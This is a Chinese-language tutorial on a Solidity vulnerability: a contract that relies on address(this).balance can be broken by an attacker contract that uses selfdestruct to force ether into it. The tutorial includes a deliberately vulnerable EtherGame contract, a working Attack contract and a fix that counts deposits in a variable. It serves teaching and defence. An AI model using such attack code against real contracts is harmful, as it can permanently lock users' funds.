selfdestruct函数可以在执行时强制向目标地址转账，从而影响目标合约的正常业务逻辑。（比如合约有基于address(this).balance的业务逻辑）

下面是一个经典的例子：

// SPDX-License-Identifier: MIT

// The goal of this game is to be the 7th player to deposit 1 Ether.
// Players can deposit only 1 Ether at a time.
// Winner will be able to withdraw all Ether.

/*
1. Deploy EtherGame
2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.
2. Deploy Attack with address of EtherGame
3. Call Attack.attack sending 5 ether. This will break the game
   No one can become the winner.

What happened?
Attack forced the balance of EtherGame to equal 7 ether.
Now no one can deposit and the winner cannot be set.
*/

pragma solidity ^0.8.10;

contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {
        // You can simply break the game by sending ether so that
        // the game balance >= 7 ether

        // cast address to payable
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

注释里有合约目的的说明，不再赘述了

代码放到remix中执行，

无论产生winner前有多少人调用过deposit（），

在使用攻击合约Attack.attack()调用seldestruct时，发送代币数量选择任意可以让合约余额大于等于7的值。

这样即可越过deposit()业务逻辑，直接让address(this).balance的值大于7。

因为deposit()中require(balance <= targetAmount, "Game is over");

限制balance要不超过7，所以后来者也无法再次存款，

已经打过款的人也无法claimReward。

合约从而瘫痪，永远无法产生winner

防止攻击方法：

别直接用全局address(this).balance了呗！用变量重新统计进入deposit逻辑的代币数。

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        balance += msg.value;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }